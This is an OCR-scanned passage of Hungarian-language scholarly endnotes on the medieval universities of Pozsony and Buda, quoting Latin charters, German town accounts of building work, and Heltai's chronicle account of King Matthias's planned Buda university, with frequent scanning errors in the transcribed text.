In sein zogen 60 D., facit 8 Pf. 7 Sch.»> De nem kell-e ezen helyet a
pozsonyi prépostnak és a íjozsonyi egyetem tanárainak egy bécsi látogatá-
sára vonatkoztatni, mint ezt Eakovszky is tette (idézett tárczájában és az
Arch. Értesítőben. XII. 1878. p. 77)?
^'j Eimely i. m. p. 125: «Bre-\d hoc tempore haud paucos in pátriám
dimisit alumnos gradu academico distinctos, aut discretos, ex quibus unum
tantuni se ex auchtu novisse ait coram iudicio post dimidium saeculum
testis quidam, eumque baccalaiium nomine Allerlay comjiellatum asserit. »
Bővebb adatokat Knauz Xándor imiak leveléből közölhetek: «Az Akadémia
épülete felett 1546. évben folyt perben tanuk is hallgattattak ki, a második
kérdőpont így szólt : ,Si scit in ipso Gynasio ahquos studentes in gradu
Baccalaureatus promotos fuisse et si quem ex illis novisset'. E kérdésre csak
az első tanú Ja?obus Körbler ci^•is Poson. felel eképen : ,Ad secundum dicit,
quemdam nomine Allerlaj' hic in Bacealaureum creatum fuisse, se verő
non recordari, sed ab alüs audi-\Í3se tautum'. Még egy taniüóról volt 1467.
é^^.•ől jegyzetem, de ezt raost nem tudom megtalálni.))
^^) Lásd a 4.^-ik jegyzetet.
^^) Fraknói, Vitéz élete. j). 232. — Hogy Eegiomoutanus 1471. márczius
Ábel, Egyetemeink a középkorban. O
82
15-ikén még Esztergomban, ugyanazon év június 2-ikán már Nürnbergben
volt, Gassencli is bizonyítja Eegioinontanus életrajzában fOj)usc. V.).
^°) Kazinczy, Mátyás király kortársai tanúsága szerint. 186 i. p. 186.
Bár nem egészen bizonyos, 1469-ben vagy 1471-ben lett-e Gattus Siciliában
aiiáttá. Quetiff legalább fScriiott. Ord. Praed. p. SG8l ki Gattus magj-arországi
tartózkodásáról mitsem hallott és tauáii működését illetőleg csak azt tudja,
liogy Florenczben, Forrarábau és Bolognában tartott elöalásokat, azt mondja
r<)la, bogj' : «monasterium S. Petri et Pauli Alyensis sive de Itala ac simul
SS. Petri et Pauli de Agro ordinis S. Basilii in Sicilia factus est abbas com-
mendatarius, quod ad a. 1469 contigisse Pirrus (Sicil. San-. IV. p. 106 et
113) non satis attente refert, si, ut aíserit. liaec Sixti facta auctoritate, qui
biennio postea 1471 die 9 augusti Petri sédem ascendit.)) 1472. június hó
elsején Gattus Ejíiscopus Cephaledeusisse neveztetett ki, l-í-74-ben ivedig mint
II. Ferdinánd siciUai király követe IV. Sixtus pápához ment ; meghalt
1484-ben. FazeUus Tamás De rebus Siculis Decas prima (1749) Lib. IT. cap.
2. p. 87 — 88 szintén szól Gattusról, de évszámokat, sajnos, nem hoz fel.
^*) A «ces3ante» stb. kifejezést II. Ulászlónak 1492. május elsején kelt
okleveléből Fraknói idézi, Vitéz élete. p. 230. Hogy kinek ajándékozta
Ulászló a házat, és a ház további sorsait lásd az 50-ik jegyzetben és Kimely-
nél, p. 128. 129.
'^-) A város számadásai könyveiből olvassiTk Piakovszkynál 1491-re:
"2 tag bezalt, dy Holz geschlagen habén in der Burgeraw, braucht zu des
kunigs püxen, die zu der Hochen schul gestanden sein, einen 16 D.» És
oferia quarta post concepcionis marié (deczemer 14-ikén) den vasziehern, dy
ledigen Streiti^üxen in der Hohen schul und spiesstaugen auf die wágeu
getragen, hab ich In allén gebén 24 D." — Hogv' a királyi kerteket, melyek
közepette az egyetem állott, még akkor is jó karban tartották, bizonyítja a
következő jegyzet ugyanazon évből: <>Dem maistriller und vinzenz voit awf
der wedritz, das sie in des kunigs garten der Hohen schul die heckchen
geschnitten habn, hab ich In beedeu gebén 2 Sch. 9 D.o
^^j ]kíotkó idézett tárczájában (Pressb. Zeit. 1859. nr. 226) a város
1467-iki számadási könyveiből a következő adatokat közli modernisált alak-
ban: «Im Jahr 1467 ani Montag am St. Marxtag hab ich gebén 5 Züunier-
leuten in der Hohen Schul und 2 Maureru jeden 27 Denar und dem Meister
32 Denar imd ein Marterrührer und ein Tagberichter und ein Fulinuann
mit 3 Eossen, der Holz und Laden und Saud hat geführt zu der Hohen
Schul, facit 9 Sch. 26 D. Item am Freitag vor Laurencii hab ich gebén
ö Zimmerleuten, die auch hinter der Gmathn habén gearbeit an dem Gestell
zu der Hohen Schul 5 Sch. Dann am St. Stephanstag hab ich gebén umb
6 Reichsladen in der Hohen Schul zu Bánken und audere Nothdurft. Fei'ner
aui Ptiugstag nach St: Barthlingstag hab ich gebén das man KaUch het zu
der Hohen Schul tragen zu Waisen.» Ugyanazon foiTásból merítette Ea-
küvszky következő adatait: «Erichtag nach Oswald (aug. 12-ikén) hab ich
gebu den knechten umb wein, die Holz habén gefurt zu der Hochen schell,
Hinter der Gmathn 8 Den.» ((^liticheu an S. Oswaldstag (aug. 5-ikéu) hab
83
icli gebén 4 Zymeiiewtteii, llinz der Geiuatliu liabeu ziuiert au dem gestuel
(Daclistiihl) 3 Seb. 28 Den.i) (tE'odem die bab icb gebén deu wagenknecbten,
die das Holz Hinz der Gniatlin babén gefuert 9 Den. lunb wein.)) >iAm
Sanibstag vor lareutty (aiig. S-ikáu) bab icb 3 Zymerlewtten gel)n, Hinz der
Gniatliu, die au den gdstuelt [gestuell ?] babn gemacbt 3 Seb. 2 Den.» «Aia
Ericbtag (ang. 12-ikén) post Larenty bab icb gebén 3 Zymerlewtten Hincz
der gemaitHn 3 Seb. 16 Deu." uAni Mitticben post larentty (aug. 12) bab icb
gebén 5 Zynierleitteu Hinz der gemaitlin, die an deu gestuell babn gemacbt
5 Seb. 6 Deu.)) ((Eodem die bal) icb von ettlicben laden Her Hiu zii fureu
gebén 7 Deu.» uAm Pfinztag post laureutty (aug. 13.) bab icb gebn 5 Zymer-
lewtten Hinz der gemaitlin b Seb. 6 Den.» ((Am freitag post lareutty (aug.
14-ikóu) bal) icb gebén 5 Zymerleitten, die aucli Hiúz der gemaitlin babn
gearibait au deu gestuell In der Hocben scbuell 5 Seb. 6 Den.)i «Eodem
die bab icb gebeu unib leim zu 12 Deu. zu dem gestuell Hinz der gemat-
lin.» «Am Mantag post assumpciouis ]\Iarie (aug. 17.) bab icb gebeu 4 zymer-
leitten, die Hiúz der gematliu liabeu gezymert an den gestuell 3 Seb. 28
Den.D «Dem Maister bab icb allbeg 4 Deu. mer ge])U, deu ain auderu
zimermau.u ((Am Miticben vor saud steffan tag (aug. 19.) bab icb gebén
4 Zimerleitteu Hinz der gematliu 3 Seb. 28 Deu.)) ((Pfinztag am sand Ste-
fanstag (aug. 20.) bab icb gebeu dem Jauuscb grafeu 21 Deu. die die Kueclit
Hinz In betteu vertrunkcbeu, die Hinz der gemaitlin die gemacb cberattten
(sic!) und den mist awframent.»- «Eodem die bab icb gebeu umb umb 6
láng Reieb laden zu der Hocben scbuell zu penkchen und ander Notturft
per 20 D.i) ((So bab icb gebeu, das man cbalicb bat zu der Hacben scbuell
trageu zu messen 10 D.u <iAm Ericbtag uacb des beiligeu Cbreutz tag der
erböluing (szept. 26) aiu mawrer, der bat gebaisznet In der Hacben sclmell
34 D.)) ((Am Miticben awcb aiu Mawrer, In der bocben scbuell, und ain
tagberiger 48 D.» «bat der wolfgang forster nagl gebn zu der Hocben
scbuell, umb 28 D..)
''*) Pozsony városának 1492-iki számadási köm'véböl Rakovszky a
következő belyeket idézi : « Am Miticben Nedarici, bans furman, aws dem
Ratbaws und aus der bobén scbul zigl zu füren, zu den scbusterturu, 4
fért, 1 Seb. 18 D.» ((Als mau die dekb ziegl aus der bacben Scbul aus der
scbütt bat austragen, und braucbt zum scbustertm-n, 2 tagion per 24 D.))
Kelleténél többet következtet e két belyből Eakovszky, midőn idézett tár-
czájában azt mondja ríSlok, bogy ((alsó ein klarer Beweis, dass mau zur
Reparatur dieses in der Nabe der Scbule gelegeueu Tburmes das Matériái
von bier uabm, ja sogar das Gebáude, um die Dacbziegel zu gewiuuen,
abdeckte » .
®^) Wallasz ky (Tent. p. 34) azt bitté, bogj' Mátyás király a budai egye-
temet a Corvina könyvtárral egy időben, azaz szerinte 1464-ben alapította,
és bogy az ö példáján felbuzdulva alapította Vitéz 1467-ben a pozsonyi
egyeteinet. II. Pál pápának teljes egyetem felállítására vonatkozó ismeretes
bulláját is, daczára annak bogy 1465-ből kelt, Wallaszky (i. m. p. 53. 54) a
6*
84
budai egyetemnek, nem a pozsonyinak alapítására vonatkoztatta. A Con-
spectusban külömben belátta már Wallaszky előbbi tévedését.
^^) Y. ö. Carbó Lajosnak Mátyás kii-álylioz intézett dialógusának (az
Akadémia kézii-attárában és Toldy Analektái első kötetében) következő helj'ét
(fol. 36a): «(Mattliias) etiam de novo in Pannónia stmlio erigendo cogitat et
nisi cavetis praeclara quaedam ingenia vobis íltalis) crípiet», mit Kazinczy
(Mátyás király . . . 1863. p. 113) hibásan így fordít: ((mindamellett gondja van a
tudományok felvirágoztatására is Magyarországban, s ha nem ügyeltek, sok
jeles ehnétül megfoszt benneteket*. A dialógus keletkezésének idejét illetőleg
meg kell jegyeznünk, hogy Carbó 1482-ben meghalt, hogy Erneszt Vilmost
mái" pécsi püspöknek nevezi, Vilmos pedig 1473. decz. 10-ikén neveztetett ki
pécsi püspökké iKoller IV. p. 360). És hogy nemsokára ezen idöjDont után
írta Carbo a dialógust, kitűnik azon körülménj'böl, hogy a legutols(í történeti
esemény, melyet benne felemht, Vitéz összeesküvése, 1471-böl való, Mátyás ki-
rálynak Beatrixxel való egybekeléséről semmit sem tud, és az 1476-ban el-
hunyt Pongrácz Jánost (1. Nag;s^ Iván, Magyarország családai. IX. p. 446| mint
élőt említi fel, másrészről pedig, hogy dialógusa elején Ernesztuek püspökké
való kineveztetéséröl mint nem rég történt eseménjT.'ől szól: ((Ad nos tan-
dem fugiti^iuu istum Quinque-Ecclesiensem Episcopatum forti manu, mi
Sigismunde, retraximus» (hibásan fordítja Kazinczy i. m.). Dialógusának
egész hangjából külömben kitűnik, hogy előbb Mátj^ás királylyal nem érint-
kezett és így nem lehetetlen, hogy ama (degatin, kik ((veniuut fiuibus Him-
garisD és felszólították (degitimas tradere htterasw (erről majd másutt) Mátyási
ku'ály követei voltak, kik épen a budai egyetemi tanársággal kínálták meg.
®') ((Ezt hallottam Brodoric István püspektöl, kinél vala az egész épü-
letnek jedzésének a képe ísb mondja Heltai (Chronica az Magyaroknak dol-
gairól stb. Colosvárott 1557. p. 177). Téved Wallaszkj^ (Tent. p. 60), mikor azt
mondja, hogy Heltai ((relationem hanc a Broderico Episcopo Vaciensi po-
sterioribus annis ^íatthiae coaevo audiverit, schematismumque totius operis
apud eum videritn, és Toldy i. m. II. p. 26: ((alaprajzát Heltai Broderics
püspöknél szemlélte)).
®^) P. 177 sqc|. — Újra közli latin fordítás kíséretében Wallaszky, Tent.
Y>. bl — 61. A Toldy-fóle (úgy látszik modernisált) kiadás szerint (Tizenhato-
dik századbeli magyar történetírók I. 1854. p. 534. 535.) így hangzik : "Ezt
hallottam Brodoric István püspektöl, kinél vala az egész épületnek jedzésé-
nek a kéj)e is : A Duna meUett Budán alól nagy mély, széles, hosszú és
igen temérdek fondamentomokat vettete fel és megi'akkatá azzokat vala-
menyére a föld felött, és nem monda senkinek, mit akarna oda csináltatni.
De készen immár mind meggondolta, és megjedzette vala nagy papirosra
az fondálókkal, minemű lönne az az épület. Ügy j edzették vala, hogy az
épületnek két piaccá lönne. Az egyik a felső Bécs felől [Wallaszky felé-t
akar olvasni] igen hosszú, a másik fél annjd. A felső piacon úgy rendelte
vala, hogy háromfelöl mindenik oldalon boltos kamorák lönuének egymás
felött hét renddel, napnyugatra Buda felé és a Duna felé volnának miud a
kamoráknak az ablaki. Ugy j edzette vala kedig, hogy ott kerengő ^Nyü.'-
85
kállai Tamás törvénytani szógjiijteményében átrium-mai fordítja a «kerengőt»]
volna köröskörnyűl, és ez kerengökbe mennének a széles gi'ádicsok fel a
földről egyikről a másikra, és liogj' a kerengők a kamorák előtt oly széle-
sek volnának, hogy a deákok mind belé féi-nének, és ott hallgathatnának
leckét. Ahoz kedig a piacot egybe akará szorítani. És hét részre akarta azt
szakkasztani egyegj' általlvöfallal ; és mindenik szakkasztásnak az ö piacára
középben egyegy faragott oszlopot akarta állatni, és az oszlopnak az olda-
lában akai-ta a lektoi'nak székit helyheztetni, holott a doktorokat el akarta
rendelni mind végig minden oszlop mellett a leckéknek olvasására, hogy
az egj-ik oszlop mellett az egyik gi'ammát [■?] olvasott, a másik oszlopnál a
másik dialektikát, a harmadik mellett az haiTQadik lektor a rhetorikát, a
negyedik oszlop mellett a negyedik doktor arithmetikát, az öttedik mellett
az öttedik lektor a muzsikát, az hatodilí mellett az hatodik doktor geome-
triát, az hetedik mellett az hetedik lektor az astronomiát. És mindenik osz-
lopra feljttl egy kiistályos lámpást akara csináltatni, és minden estve az
lámpásokat akai-ta meggyújtani, hogy éjjel is olvashatnának a lectorok lec-
kéket, és a deákok tanolhatuának szinte mint nappal az hét lámpássoknak
világosságtól. És úgy akarta az épületet rendelni, hogy mindenik piacról
bolt allatt általmehetnének a kamorák kőzett a kamoraszékekbe az Dunára.
A hol által akarta rekkeszteni az hosszú piacát a küssebbik i:)iactól, abban
az oldalban akarta a doktoroknak és a lektoroknak házait csináltatni minden
szükséges szobákkal és kamorákkal, hogy az ablakok azzoknak házainak
lönnének napkeletre a küssebbik piacára, napnyugatra az hosszú piacra az
oszlopok felé, éjszakra a Dunára, déh'e kedig Budára. Annakutánna úgj
akará a küssebbik piacát épűteni, hogy az éjszaki oldalban szép boltok, szép
szobák, és szép kamorák lönnének, hogy az elsőkben az om-asdoktorok lak-
nának, az másikban az j^iatikárosok és az borbélyok, az harmadikban vol-
nának az betegek külembkülembféle szobákban és kamorákban. A másik
oldalon lönnének szép pincék, szobák, boltok és kamorák, kikben laknék az
cekonomus, a családos ember, és minden ö családjai, hogy az mindenféle
bort és sereket, kenyeret szinetlen árolna nag;s" bövséggel. Az naptámadati
oldalában jedzette vala az egyik nagy kaput kezópben, az felső részre délre
Buda felé jedzette vala a raűveseknek házait, holott mindenféle művesek
ái'olnának, de nem hogy ott laknának. De az alsó részéxe a Duna felé jed-
zette vala a kapu felött széj) szobákat, boltokat, és kamoi'ákat, hol az egész
akadémiának, avagy fő országnak oskolájának prépostja laknék, ki mind a
többi deákoknak, lektoroknak, mestereknek és doktoroknak rektorok és
vezérlője volna. És úgy rendelte vala, hogj' éjszakra a kapun alól a Dima
felől mind az egész szeren alól egymás mellett mind konyhák volnának, és
a felett mindenféle szükségekre való házak : mert azt tekéllette vala öma-
gába, hogy úgy rendelne minden szükségeket a schola mellé mind ételből,
mind italból, mind az egyéb embereknek szükségére valókból, hogy az negy-
venezer tanoló deákokból egy sem jöne be egész esztendeig az várasba
semmi szükségeért, hanem mindenek ott bőven volnának a schola mellett :
ennek alkalmatosságra kedicr jedzette vala, hogy az első küssebbik udvarba
86
két oszlop állana, és az oszlopból csatornás kiít folyna ki, és mindenik
oszlopon feljül egy-egy nagy kristályos lámpás volna, mely éjten-éjtszakka
világoskodnék. Ugy is jedzette vala, hogy az hosszii piacon is ázzon csator-
nás kút felforrana, és kiötlenéduék három helyen az Duna vízzel. Ú^v is
intézte va'a a dolgot, hogy negyven ezer deák laknék szinetlen e seholá-
ban, és arra ügyeközik vala, hogy oly disciplinát szörzene a scholában,
hogy ne volna az egész scholában mind ennyi deák kőzett is vagy egy
dákos is és hogy ennyi deáknak mind elég ételek és italok volna az schola
konj^háiból, és az oekonomnsnak i^inceiböl. Erre kedig a Duna mellé mé-
száros cehet akar vala szörzeni egy kenyérsütő utcájával egyetembe, és
abban egy nagy vásárt, melyet meg akara ajándékozni nagj- szabadságokkal,
hogy minden nap elég volna a negyvenezer deáknak. Es a prépost avagj'
rektorsághoz, és az oekonomussághoz jeles és nagy jószágot akar vala szak-
kasztani, és sok ezer forintára jövedelmet, hogy mind e széles világon néni
lönne jobb, szebb és bővebb schola annál. » — Toldy Székely István Magyar kró-
nikájának egy helyén (Tizenhatodik századbeli magyar történetírók. I. p. 5-5)
is rá akart ismerni a budai egyetemre : ((Továbbá ez nemcsak hadi dologban,
hanem nemes tudományoknak is követésébe igen dicsiretes vala. Kit meg-
bizonyít a Budán való bibliothókának csenáltatása, kibe egynehány ezer
könyveket mind e széles világról begyiijtetött vala, görögül, zsidóul és
deákul megirattakat : A-/hi?A- az ő aliaratja ez vala, ha az isten továbbá ez
világon megliagyja vala, hogy oly tanosságnak helyet szerezzen itt ez
országba, M mind e széles világot meghaladj a. « Itt a ianosságnak szóhoz
megjegyzi Toldy ((Tudományos míveltségnek ? vagy főtanodának ?» Az előbbi
valószínűbb.
®®) Az eredetiben: ^^Ahoz kedig a piacot egybe aJcará szorítani. Es.
hét részre akarta azt szakkasztani egyegy általköfalkb), mit Wallaszky így
fordít: Mnro projposuerat integram hanc cingere aream in septem mm'o
pariter dividendam segmenta.i)
'") Az eredetiben: ((az oekonomus, a családos ember és luinden ö
családjait), mit Wallaszky hibásan így fordít: <(Oeconomi patrisque familias
et totius familiae habitacula»,
'^) Wallaszky idézetében (de nem fordításában), kiestek a zárjelben *
levő szavak a következő jaassiisban : szünetlen árulna nagy bövséggel. Az
naj)támadati oldalában jedzette vala (az egj'ik nagy kajnit kezépben ; az
felső részre délre Buda felé jedzette vala) a műveseknek házait stb. »
'■■*) Feltűnő továbbá, hogy míg Heltai az egyetemi épületről nagyjá-
ban azt képzeli, hogy Buda várától délre feküdt és hosszúságában nyugattól
kelet felé terjedt ki, a két főpiaczot mégis mint felsőt és alsót különböztet
meg, és hogy Biidát az egj'etemi épülettől majd nyugatra majd délre keresi
Ez utóbbi kétségkívül merő tévedés, mert hogy az egyetem Budától déke
volt tervezve, nem pedig mint Toldy mondja (i. m. II. j). 25) északra,
vagyis, mint Szalay József képzeli (i. m. p. 338) ((a mai császáríürdö körül
a Buda külvárosaként tekinthető Felhévvizen», bizonyítja Heltnának egy
más helye, melyben azt mondja, hogy IMátyás király az egj-etemen felül
87
Buda várát Pesttel liíd últal akarta egybekapcsolni : <(Ezt is megjed/.ette
vala, liogy az jeles épületet, melyre szándékozott vala régenteu Zsigmond
király és császár, liogy azt is végliöz akarná vinni. Tudniaillik, liogy Buda
várából liidat ki akarna liozni faragott kövekből és azt által akarná vinni
a Scola felett nagy szélesen a Dunán." (Toldy kiadásában p. 535).
'^) Pl. Eónier Flóris « Mátyás király budai künjvtárárólw írt érteke-
zésében.
■'*) <( Sed una - arisieusium civitas Gallorum Regi : Quam gentem vos
barbaram appellatis subiecta omnes Italiae civitates optimariun artiiim stu-
diis lenge antecellit. In ea euim semper fere viginti, nonnunquam etiam
triginta auditorum ac studii>sorum milia reperiuntur. Q'uae qiTidem eo non
e Gallia modo, sed ex Itália quoqiie, Hispánia, Germania, Britannia, Európa
denique universa tanquam ad communem oniuium discipliuanuu parentem
altrieemque conveniunt. »
"j Nigerről bőven szól Quetiff (Scriptt. Ord. Praedic. I. p. 861 — 863).
Mikor liitták Magyarországba, nem határozhatjuk meg pontosan ; dedicátió-
jának alant közlendő szavaiból csak annyi tűnik ki, hogy Mátyás királynak
Beatrisxel való egybekelése után. Hogy 1477-ben még Németországban volt,
abból következtethetné valaki, hogy «Tractatus contra perfidos Judaeosw
czimű műve Nürnbergben 1477-ben jelent meg, legalább ^Yallaszky szerint
(Tent. p. 36j ; de ez csak a második kiadás ; az első Quetiff szerint ((ipso
(Nigro) corrigente» Eslingben jelent meg a. 1475 die sexta Julii, maga a
munka pedig «in inclita civitate Eatisponensi A. D, 1474 tempore paschali))
Íratott. — Egyéb biographiai adatokat kereshetnénk Niger egy másik
művének dedicáti ójában, ha nem volna valószínű, hogy a sClj'peus Tho-
mistarum»-mal azonos. Grásse (Lit. Gesch. II. 2. 1. p. 46) azt mondja róla:
«ein viertes (Werk) aber, das übrigens nur in Ehinger, Catal. Bibi. August.
p. 690 erwáhnt wird, unter dem Titel «Super arte Aristotelis in quoscim-
que adversarios eum praefatione ad Mathiam, regem Hrmgariae et Bohe-
miae (Vénet. 1481 fol.)» scheiut rein iDhilosophischen Inhalts zu seyn; obgleich
es weder von Buhle, nocli von Jourdain, in ihren Arbeiten über die Inter-
preten des Stagiriten im Mittelaltor erwáhnt wird, dürfte es dennoch, wenn
man an die Studien, die auf den Universitáteu, welche er besuchte, im
Schwange wareu, denkt, für sein Werk zu haltén seyn. » A Clypeus Tho-
mistarum teljes czíme ugyanis «Liber accuratissimariuu quaestionem super
arte veteri Aristotelis qui Thomistarum appellatru:» etc. Hogy Nigernek egy
másik munkája is, a Stella Messiae, nem külön munka, mint többek közt
Pfeifíer Antal is állította (A magyar irodalomtörténet, tanügy és könyv-
nyomdászat 1450 — 1500-ig. Budajoest. 1877) Fesslerrel szemben (tíesch. d.
Ungern. V. p. 657), a kérdéses műnek a 14085-ik számií müncheni codexben
olvasható eme czíme látszik mutatni: nPetri Nigri ord. praed. Stella Messiae
s. tractatus XI. contra Judaeos)) (ex sermone germán, translati). — A Clypeus
Thomistarunmak Mátyás királyhoz intézett ajánló levelében Niger többek
közt a következőket mondja: nlnstituisti namque hac civitate Buda Üoren-
tissmia Piegui tui sede, apud Praedicatorum ordinis fratres universale gym
88
nasmm, iibi cuncti generis disciplinae, pliilosopliiae, theologiae sauctaeque
scripturae ubertim possent, quod quisqiie cupit haurire. Operi verő tam pio,
taiuque mortalibus profuturo uou soluni originis et fundainenti nnicus aiictor
existis, sed gratiae quoque et auctoritatis, conservationis atque i)roventiis
beniguiis es semper indultor. Praeceptores uamqiie et qui regendo studio
praesidentes liabentur, aiirum quotannis abs tiia maiestate afflueutiir acei-
púiut : scliolaribtis verő ipsis consei-vis nieis cibos vestimenta lectos et qiiae
homiuibns per diem ac nocteni opportiina siint abuude largiris» mondja
Niger említett dedicátiójában, hol saját megliivásáról következőképen nyilat-
kozik : ((Ad cuius dignissimi Studii iuenuda priuciiiia ex Herbipoli germaniae
civitate evocatus sum, per venerabilem virum F. Antouium Jadraiaticum
in ordine meo doctrina atque religione i)raestantem, quem antea et tuae
iTiaiestatis Eegiae capellanum et illustrissimae Regináé Beatricis ornatissimae
amantissimaeqne consortis tuae spirituálém patrem et confessorem cogno-
veram, nunc vei'o electum tuae clementiae gratia in Modrusiensem Anti-
stitem periucunde cognosco. (Gams, Series Episcoporum p. 388 szerint An-
tonius 1481 — 1489 volt modrusi püspök). — Ego qui tanti Gymnasii quamvis
indigue ago regentem et caput nuncupor atque magister stb.» — A mi
külömben Niger azon kifejezését illeti, hogy Mátyás az egyetemet «apud Prae-
dicatonuai ordinis fratres» helyezte el, talán helyesen jegyzi meg Wallaszky
Teut. p. 59, hogy ((non ille est sensus verborum auctoris, solis quasi Famí-
liáé Domiuicanae sodalibus (ut id quidem Sigismundus Ferrarius aliique
intellexerunt) studii huius cura a Eege fuerit demandata : id etenim certiun (?)
est, diversi etiam Ordinis eruditos inter eius Doctores numeratos fuisse.
Itaque, si quid eoniectando assequor, locum praelectionum j)ublicum, dum
fabrica Academica, quam Eex magnificeutissiniam molitus est, extrueretur,
in aedibus Dominicanis coustitutimi fuisse arbitror.)) — Toldy (i. m. II. j). 26)
azt mondja, hogy <(a roppant épület . . félben maradt, hihetőleg az ausztriai
háborúk s a kiráhoiak gyakori távolléte, végre az országon kívül lakása
miatt, s vele az egyetem e i'észének életbe léptetése is.» De részemről nem
tarthatom valószínűnek Toldy, Knauz (M. Sión III, p. 69) és Pfeiífer (i. m.
p. 20) azon feltevését, hog^' Mátyás király épen a XV. század uyolczvanas
éveiben, mikor tudvalevőleg a legnagyobb buzgalmat fejtette ki a tudomá-
nyok érdekében, fölhagyott az egyetem építésével. Sokkal valószínűbbnek
tartom, hogy Mátyást kora halála gátolta az egyetemi épület kiépítésében.
'^) Lásd a Biographie Universelle-nek Schwarzról szóló czikkét, hol
«Bade» alkalmasint sajtóhiba «Bude» helyett, az 14Sl-iki dátum pedig csak
arra van alapítva, hogy ezen időponton túl mitsem hallunk Niger felől. Que-
tiff is azt állítja (Scriptt. Ord. Praedic. I. p. 863), hogy sem Ferrariusnak,
sem magának Quetiffuek nem sikerült Niger halálának idejét megtudni.
") ((Nos Martinus Arcium et Sacre Theologie Professor, Apostolice
Sedis Protonotarius, Plebanus Ecelesie Maioris B. M. Virg. Budensis» egy
Kaprinainál (Hung. Dipl. I. p. 78) lenyomatott levélben, mely feria
sexta in j)rofesto Couceptionis gloriose Virgini-^ ]\Iarie ideez. 7.) 1487 kelt,
elismeri, hogy Kassa városától 189 arany frtot és 100 deuáit vett át a
89
szinai (Zemplénben) szerzetesek számára. — Toltly (i. m. 11. p. 21) és Knauz
(Magyar Sión III. p. 69) tévesen állítják, hogy Ilkusch csak a himianiorákat
tanította. — Hogy Ilknscli 1483-ban már a budai egyetemen volt alkal-
mazva, kitűnik Briccius Ciliensisnek Eorbeck budai tanárhoz 1483. jun. 29-én
intézett leveléből, melyben többek közt azt írja, hogy ((clarissimo viro arcium
et theologie sacre doctori Magistro Martino dominó meo colendissimo . . .
habemus immortales gratiaso (M. Sión III. p. 71). Knauz túlságosan óvatos,
mikor p. 69 azt mondja, hogj' ezen Márton hittudor ataliai Ilkusi Márton-
nal egy személy)) és a budai egyetemnek eddig ismeretlen tanárai között
sorolja föl.
"^) <(Paulinus de Jaurino Sacrae Theologiae Professor, Prior Provin-
ciális per Eegniuii Hungáriáé Fratrum ordinis Praedicatorum» egy ismeretlen
család tagjait egy s. 1. e. a. kelt levelében a rend confratereivó nevezi ki
(Nyirkállói Tamás XV. századbeli formuláréjából közli Kovachich, Formuláé
Solennes Styli. Pest. 1799. p. 366, nr. 38 Í-. x\z akkor még kiadatlan levélre
legelőször Schier figyelmeztetett, Mem. Acad. Istrop. p. 21). A mi pedig
Kassai Miklóst illeti, kit eddig nem számítottak a budai « egyetem)) tanárai
közé, lásd lY. Sixtus pápának 1483. oct. 28-ikán kelt levelét (Theiuernél, 11.
p. 847), melynek eleje így szól: « Sixtus Episcopus etc. Dilecto filio Nicolao
Ignacii de Cassovia ordinis fratrum praedicatorum et theologiae professori
salutem étc. Eeligionis zelus, litterarum scientia, \itae integritás et íidei con-
stantia, aliaque laudabilia probitatis et virtutum merita, quibus personam
tuam fide dignorum testimoniis novimus insignitam (rábírta Sixtus pápát,
hogy Miklóst kinevezze (.haereticae pravitatis in Hixngaria inquisitor))-nak).
Itt ugyan nincsen megmondva, hogy Kassai Miklós a budai főiskolán volt
theologiae professor, de ha e miatt vonakodunk Miklóst felvenni a budai
főiskola tanárainak sorába, ugyanazon okból Ilkusch Mártont és Győri Pau-
liniist is ki kell onnan törülnünk. — Nem azonos-e ezen Kassai Miklós, kit
1474-ben Nicolaus de Ungaria de Conventu Cassoviensi név alatt <(in con-
ventu florentino» találunk, Nicolaus de Mirabilibussal, ki 1493-ban ugyan-
azon czímekkel bír mint Kassai Miklós az imént idézett okmányban, és
kiről szintén tudjuk, hog;^' egy florenczi kolostorban tartózkodott? — Figye-
lemre méltó külömben, hogj' Kézsmárki János középkori theologusunk
Summa theologiájának gyulafehérvári codexén (Csontosinál, M. Köny%'-
Szemle V. p. 350) Henckel János kezétől lol9-ből a következő feljegyzés
áll: <(Haec Simima compilata est per venerabilem domiuum Joannem de
Késmárk sanctae imginae in-ofessorem quondam plebanum in Olassy et
tandem per honorabilem dominum Franciscum presbiterum cecmn milii
Joanni Henckel donata pro giatificatione alimentorum. » Ezen Kézsmárki
János egy ideio- menyhártfalvi plébános volt, annak nevezi magát egy kéz-
iratában (Csontosinál i. m. p. 349), melynek külömböző részei 1470, 1472
és 1477-ből valók. Hogy hol volt Kézsmárki Jcinos theologiae professor, a
külföldön-e, vagj- pedig hazai egj-etemeink egyikén, sajnos, nem tudjuk
in.eghatározni.
'''■') E leveleket kiadta Knauz Nándor <cMátyás király budai egyeteme))
90
czímü czikkébeu, Mag^-ar Siou III. p. 68 — 72: «E levelek a jjozsom kápta-
lani könyvtárban (Hmnanistae Xr. "21) levő Aeneas Sylviusnak 14SÍ. évben
kiadott Epistoláinak véglapjára irvák a XV. százat! végén, és pétiig, ha nem
csalódunk, Keresztes Simon pozsonyi kanonok által, ki több heljütt tett e
munka folytán lajjszéli jegyzeteket s egy helj't megnevezi magát. De lehet-
séges, hogj' e könyv a később pozsonyi kanonokká lett Eorbecké volt, s ez
maga íi'ta ide ezen hozzája czímezett leveleket*, mondja Knauz a levelek
provenientiájáról. Ug^'anott j). 69 Knauz nem tudom minek alajjján Eor-
becket nbudai egv'emi tanár- és orgaiüstiinaln inontlja és p. 71. 72. több
életrajzi atlatot közöl róla. Eimely (i. m. p. 259) úgy látszik tévetlésböl az
1499-ik évhez említi fel a jjozsonyi kanonokok névsorában és azt mondja
róla, hogy "1499. Pancratius Eorbek tle Láva, par. s. Laurentii et Martini
ut lapis sepulcr. docet 1513. »
Az e levelek elsejében említett leselmprant talán azon Petrus Leschen-
prant de Ulnia, ki Aschbach szerint (I. f). 621) 1457. óta a bécsi egA'etemen
előadásokat tartott, a második levélben említett magister Joannes Eauch
pedig, ki Bécsből megvitte Eorbecknek az ehsmervényeket az Eidenreich
János álta,l hagyományozott dolgokról, kétségkívül a Eimely által (i. m. p.
259) a íJozsonyi kanonokok névjegyzékében az 1485-ik évhez említett Joannes
Eaiich-val azonos: «1485. Joannes Raiili. Dioec. Eatisbonensis. Magist.
artium. Theol. bacc. e process. Capit. contra Xic. Sankfalva altarista. Os-
vakli 14S6..) Aschbach tGesch. d. Univ. Wien) indexe szerint I. j). 1-39 beszél
Joh. Eauch artistáról, tle az idézett oldal üres ! Az első levélből : « Huma-
nissimo viro Liberalium artium professori fundatissimo Magistro Pangratio
Eorbeck ludi Magistro benemerito Briccius Ciliensis tlucahs Collegii wiennensis
coUegiatus S. p. d. . . . Xuper 14. Április htteras vestras Jocuntlissimas
